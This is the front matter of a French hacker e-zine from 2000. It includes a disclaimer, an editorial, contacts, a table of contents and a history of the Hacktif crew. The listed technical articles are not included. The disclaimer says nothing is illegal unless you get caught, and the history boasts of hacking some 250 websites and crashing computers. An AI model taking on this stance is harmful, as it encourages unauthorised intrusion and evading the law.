Copy Link
Add to Bookmark
Report

Apocalypse 2

eZine's profile picture
Published in 
Apocalypse
 · 11 Oct 2020

  

HISSUE NOUMBEURRE TOUH NOVEMBRE 2000


¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

##### ###### ##### ###### ##### # # # ###### ###### ######
# # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # #
####### ###### # # # ####### # # ###### ##### ###
# # # # # # # # # # # # #
# # # # # # # # # # # # #
# # # ##### ###### # # ####### # # ###### ######

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


---> Mis en oeuvre par Redoxx & The Archivist <---
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
---> Edité par le Hacktif Crew <---
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


WWW.HACKTIF.NET UNDERNET : #CYBERPUNK




POUR LIRE CORRECTEMENT CET E-ZINE, OUVREZ-LE AVEC NOTEPAD ET SELECTIONNEZ
"PAS DE RETOUR A LA LIGNE" DANS LES OPTIONS DE L'AFFICHAGE.







#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##





¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

DISCLAMERDE

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




La diffusion et la lecture de cet e-zine sont privées : les membres de l'UnderGround sont
les seuls et uniques personnes ayant le droit de le lire.

Si vous êtes membre d'une organisation gouvernementale ayant pour but d'arrêter les
membres du mouvement CyberPunk ou du mouvement UnderGround, vous n'avez pas le droit de lire cet
e-zine, ni de le diffuser.

Si vous êtes un informateur quelconque d'une agence gouvernementale, vous n'avez pas le
droit de lire cet e-zine, ni de le diffuser.

Si vous êtes membre d'une équipe de sécurité publique ou privée cherchant à espionner les
faits et gestes des membres du mouvement UnderGround CyberPunk, vous n'avez pas le droit de lire
cet e-zine, ni de le diffuser.

Si vous êtes un empaffé vous croyant supérieur de par votre rang social, vous n'avez pas
le droit de lire cet e-zine, ni de le diffuser.

Si vous êtes membre d'un parti d'extrême-droite ou que vous supportez de telles idées,
vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

Si vous pensez que les CyberPunks ne sont qu'une bande de junkies dégénérés, alors vous
n'avez pas le droit de lire cet e-zine, ni de le diffuser.

Si vous pensez que le capitalisme "MiKro$oFtiEn" est un exemple pour toutes les sociétés
de cette planète, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

Si vous pensez que les sites racistes, pédophiles, nazis ou sectaires ont leur place sur
Internet, vous n'avez pas le droit de lire cet e-zine, ni de le diffuser.

Lire ce bulletin en n'étant pas dans l'UnderGround informatique constitue donc une
violation des lois de Copyright et de Propriété Intellectuelle ainsi qu'un acte de malveillance
envers les auteurs et les rédacteurs car il revient à lire des informations privées.

Si vous êtes membre de l'UnderGround, alors continuez à lire cet e-mag, n'hésitez surtout
pas à le diffuser et à mettre en pratique ce qui se trouve décrit à l'intérieur, mais si vous
vous faites prendre, vous ne pourrez vous en prendre qu'à vous même, et nous vous prions de ne
pas citer cet e-zine en tant que source d'informations de nature illégale, même dans le cas
d'un interrogatoire.

Et rappelez-vous : rien n'est illégal tant qu'on ne se fait pas prendre.



(o: Hacktif Team :o)
^^^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##










¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

EDITO

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Bienvenue...


Vous allez pénétrer dans l'univers mystique que sont les méandres psychotiques de la
pensée paranoïde auto-guidée par l'instinct névrotique à tendance schizophrène des membres de
la communauté CyberPunk...


Bienvenue dans notre monde...


A l'accoutumée, mon indolente et oisive personne se refuse obstinément à accomplir tout
acte inutile dont l'intérêt est nul alors que tant de mirifiques merveilles attendent que mon
humble mais passionné cerveau s'intéresse à elles, cependant, je vais tenter de vous faire un
éditorial en bonne et due forme...


Eh oui, le Hacktif Crew grandit et vous avez devant vos grands yeux ébahis et émerveillés
le second numéro de l'e-zine APOCALYPSE :oP


Tout d'abord, je vous rappelle que APOCALYPSE n'est mis en oeuvre que pour rassembler un
maximum d'articles venant de tous les horizons de chaque discipline et sur tous les sujets :
hacking, cracking, phreaking, social engineering, webmastering, trashing, arnaques, weed et
autres joyeuseutés hallucinogènes, bibine, vol dans les magasins, tag, graphes et graffitis,
anarchie, délires divers, culture cyberpunk, destruction et terrorisme, philosophie, gravage,
espionnage, fric facile, emmerder le monde, et tout ce qui est à tendance ultra-libérale et
anti-conformiste.


Je vous rappelle également que ce journal étant fait par l'Underground pour l'Underground,
toute contribution est la bienvenue, sous quelque forme qu'elle soit, hormis les critiques qui
ne servent à rien car non-constructives (une insulte est d'ailleurs rarement constructive).


A ce sujet, je voudrais profiter de cet édito pour dire à tous ceux qui passent le temps
à descendre le Hacktif Crew sur IRC et sur les forums (ils se reconnaîtront) que ce serait bien
mieux s'ils nous expliquaient quelles sont nos erreurs plutot que de nous traiter de lamers...
Eh oui, nous ne sommes pas des élites, et nous n'avons d'ailleurs jamais prétendu en être ;
notre seul but est de réunir des CyberPunks ayant un minimum de compétences pour échanger nos
connaissances et pour tenter de construire quelque chose ensemble. Nous ne nous sommes jamais
vantés de quoi que ce soit et nous ne nous posons ni en exemples pour les générations futures
ni en maîtres incontestés de l'Underground, car nous sommes bien loin de mériter ce titre.


Ce qui est marrant, c'est que le groupe Cryptel s'est également fait chier dessus alors
qu'ils tentait de construire quelque chose, puis les membres ont été traités de trous du cul
quand ils se sont fait busted, alors que peu de hackers/crackers/phreakers français en ont fait
autant qu'eux pour la Scène. C'est sûr que c'est bien plus simple de critiquer les autres et
de se complaire dans son pseudo-savoir, son pseudo-élitisme et son inactivité parce-que-le-
hacking-c'est-pas-bien-et-c'est-illégal-d'abord que de tenter de donner une bonne image de
l'Underground...


Je rappelle aux petits frenchies qui nous lisent que le Hacktif Crew est composé également
de belges et de suisses, et que, même s'il est vrai que la Scène suisse n'est pas très très
développée, la Scène belge se porte bien mieux que la Scène française, grâce à un groupe nommé
Belgian Hackers Zone (greetz to Asmodeus) qui s'en est pris plein la gueule et qui a pourtant
persévéré pour devenir le groupe respecté qu'on sait.


Donc tapez-nous dessus, chiez-nous au nez, pissez-nous à la raie, pétez-nous à la gueule,
mettez-nous des claques, insultez-nous, défoncez-nous le boule, vous ne faites que nous motiver
encore plus pour continuer dans la voie où nous nous sommes engagés, et chaque fois que l'un de
vous nous critique, on se rend compte d'une seule chose : on ne peut rien lui dire, on ne peut
rien lui faire, car il n'est rien.


Pour parler d'autre chose, au sommaire de ce mag, vous trouverez un article de Klog sur
le buffer overflow écrit il y a déja quelques temps, ainsi qu'un article qui sera certainement
désapprouvé car il fait la réhabilitation des trojans, la suite du Millenium Cracking Tutorial
de tHE ANALYST, et la suite du Phreaking for the New Scene, avec pour cette fois la Phreakon
Team en Guest-Star ;o), un point sur le groupe qu'est Hacktif, un article sur le carding, de la
backdoor dans les scripts IRC, du password Linux, des délires, de la philo, ainsi qu'un tas
d'autres trucs qui, j'espère, vous plairont.


Enfin, pour cloturer cet édito, je tiens à passer un big greeting à tous les membres de
Hacktif, ainsi qu'à la mAdteAm (notamment Léonard, Lansciac, mAddAny, Solid-Snake, Jericho et
Ulysse31), à la Phreakon Team (notamment GanGStucK et Reklyd), à l'équipe de Epsylon (surtout
Mams et Cerise), au Trench Coat Handbook (surtout Der Freirahk qui nous a rejoint), aux membres
de la RtC (avec qui je suis resté en bons termes malgré mon départ du groupe), à la Cryptik
Underground Team (mon autre petit groupe qui continue discrètement et tranquillement son petit
bonhomme de chemin), au groupe France Assassine (un truc fondé par GarD dont vous pourrez très
bientôt constater les actions), au crew Not Phor Kops (principalement Sauron et Medgi), à
Th3_KiinG, à Kasim0d0, à MrPhilex, à TipiaX, à Flusher, à Douphi, à Spirit, à SyMBioZ et à tous
ceux que j'oublie mais avec qui j'ai appris ou déliré un jour ainsi qu'au magazine Newlook et à
son rédacteur en chef :o)



Bon, ben voila, je crois que j'ai dit tout ce que je veux dire et que ce long édito va
se terminer dans les prochaines lignes, donc je vous souhaite une bonne lecture, et si cet
e-zine ne vous plait pas et que vous trouvez que la Hacktif Team rase le sol, ben je vous
recommande d'aller vous faire enculer par un babouin sodomite en rut, et je vous emmerde
profondément :o)


Allez, je vais m'arrêter là pour cet intro, alors je vous souhaite une bonne lecture, et
j'espère que vous apprécierez ce zine.



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^




#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##





¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

CONTACTS

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


¤
¤
¤
* * * * * * * * * ¤ * * * * * * * * *
* * ¤ * *
* M A I L S * ¤ * I R C *
* * ¤ * *
* * * * * * * * * ¤ * * * * * * * * *
¤
¤
¤
Redoxx ¤ Serveur :
---> Redoxx@Mailme.Org ¤ ---> eu.undernet.org
¤
¤
The Archivist ¤ Chan de Hacktif :
---> Root@Sefti.net ¤ ---> #CyberPunk
¤
¤
tHE ANALYST ¤ Autres chans fréquentés :
---> Acid2600@Hotmail.Com ¤ ---> #madchat
¤ ---> #thebhz
¤ ---> #npk
Phreakon Team ¤ ---> #skreel
---> Phreakon@Caramail.Com ¤ ---> #nethack
¤ ---> #mezza
¤ ---> #crypteria
Massine ¤
---> Héhéhéhéhé... ¤
¤
¤
TorKaL ¤ * * * * * * * * *
---> TorKaL@TorKaL.Org ¤ * *
¤ * S I T E S *
¤ * *
Der Freirahk ¤ * * * * * * * * *
---> Freirahk@Hotmail.Com ¤
¤
¤
Drahiin ¤ www.hacktif.net
---> Cryptel@Excite.Com ¤
¤ www.cut.fr.st
¤
Léonard ¤ www.crackinggod.org
---> Root@mAdchAt.org ¤
¤ www.thebhz.org
¤
ThreaT ¤ www.phreakon.fr.st
---> ThreaT@Caramail.Com ¤
¤ www.cryptel.cjb.net
¤
Scurt ¤ www.madchat.org
---> Scurt@Hackitf.Private.As ¤
¤ www.handbook.ift.cx
¤




#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

SOMMAIRE

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤





¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
TITRE ¤-¤ AUTEUR
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Le Point sur le Hacktif Crew ¤-¤ Redoxx
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Wangling ¤-¤ The Archivist
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Passwords Files ¤-¤ Massine
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Explication des Passwords Linux ¤-¤ Redoxx with help of Oktober
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Le Buffer OverFlow ¤-¤ Klog
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Cellular Bal Intrusion ¤-¤ The Archivist
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Big Brother & Echelon ¤-¤ TorKaL
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Millenium Cracking Tutorial ¤-¤ tHE ANALYST
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Contrôler un PC grâce à IRC ¤-¤ Redoxx
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Carding, Explications & Utilisations ¤-¤ Der Freirahk
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Phreaking for the New Scene ¤-¤ Redoxx & Phreakon Team
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
RatMode : l'Homo-Computus ¤-¤ Léonard
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Shell Script Infection ¤-¤ ThreaT
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
A qui profite l'information ? ¤-¤ Drahiin
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Réhabilitation des Trojans ¤-¤ Redoxx
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Cracker DevilSword et Améliorer sa Sécurité ¤-¤ tHE ANALYST
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Manuel du Pseudo-Hippie ¤-¤ Der Freirahk
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Web Engineering ¤-¤ Scurt
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
On recrute !!! ¤-¤ Redoxx
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤
¤-¤
Outro ¤-¤ Redoxx
¤-¤
¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤-¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤ ¤






#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##






¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

LE POINT SUR LE HACKTIF CREW

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



Depuis la création du Hacktif Crew le 16 septembre 1999, il a changé plusieurs fois
d'orientation, s'est refondé plusieurs fois, certains membres se faisant buster, d'autres
prenant leur "retraite", d'autres encore choisissant de quitter le groupe.

Faisons donc un petit rappel historique de ce qu'à été le Hacktif Crew.


Tout d'abord, Hacktif fut la "Guilde des Hacktivistes pour un Web Libre et Indépendant"
fondée par moi-même (Redoxx) et Neuromancien, avec l'aide du désormais tristement célèbre
RavenShadow (tout le monde fait des erreurs) et il comptait environ une trentaine de membres
mais le groupe restait très discret et au final peu actif si ce n'est sur le plan du crashing
des ordinateurs de fachos ou de nazillons repérés sur des chats (po bien ! mdr).

Neuromancien prenant sa retraite suite à un bust le 26 janvier 2000, je décide d'en
faire un "Portail Underground des CyberPunks Indépendant" regroupant un maximum de groupe comme
la Cryptik Underground Team, HackerStorm, De-Generation-X, le RtCg4nG (depuis devenu la RtC)
ou le Cult of the Dead Surfer (cDs) ainsi que d'autres sceners solos. Le projet a assez bien
marché, mais hormis quelques projets de faible envergure, le groupe n'a rien fait et est là
aussi resté très discret.

Finalement, le 16 septembre 2000, un an après la création du groupe, j'ai pris la
décision de refonder le groupe pour en faire un groupe hétérogène et assez actif, en recrutant
un maximum de membres, mais tous compétents dans au moins un domaine consituant la Scène.

Aujourd'hui, le groupe compte 17 membres de différentes nationalités (français, belges,
suisses) a un site web qui marche plutot bien, ainsi qu'un chan IRC (#nethack sur Undernet)
assez fréquenté, a piraté environ 250 sites (dont une très grande majorité par tHE ANALYST, vu
qu'il a piraté 238 sites en une semaine !!!), gère un petit forum via son site web, et, comme
tous les groupes qui essayent de faire quelque chose, s'en prend plein la gueule sur IRC ou à
grands coups de mails d'insultes (faut vraiment avoir que ça à faire...).

Mais, malgré les critiques peu constructives de certains, nous recevons l'aide et
l'approbation de beaucoup d'autres, donc nous pensons continuer sur le chemin où nous marchons,
avec un gros greeting à mAdchAt et à Epsylon qui nous aident beaucoup, en espérant (pourquoi
pas ?) devenir un jour un groupe comme le Chaos Computer Club de Hambourg (riche d'une bonne
centaine de membres).

Malgré cette ambition (n'y voyez là aucune vantardise, juste une envie), notre principal
objectif est de relancer la scène française (les scènes suisses et belges se porte bien mieux
qu'elle alors que ce sont de bien plus petits pays que la France... cherchez l'erreur...) et
de tenter d'unifier un tant soit peu tout les sceners européens francophones, et, si possible,
d'arrêter toutes ces petites guerres d'influence qui pourrissent l'Underground et qui ne sont
d'aucune utilité.

Voila. Rendez-vous dans un an pour un autre point si on existe toujours :oP



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^





#
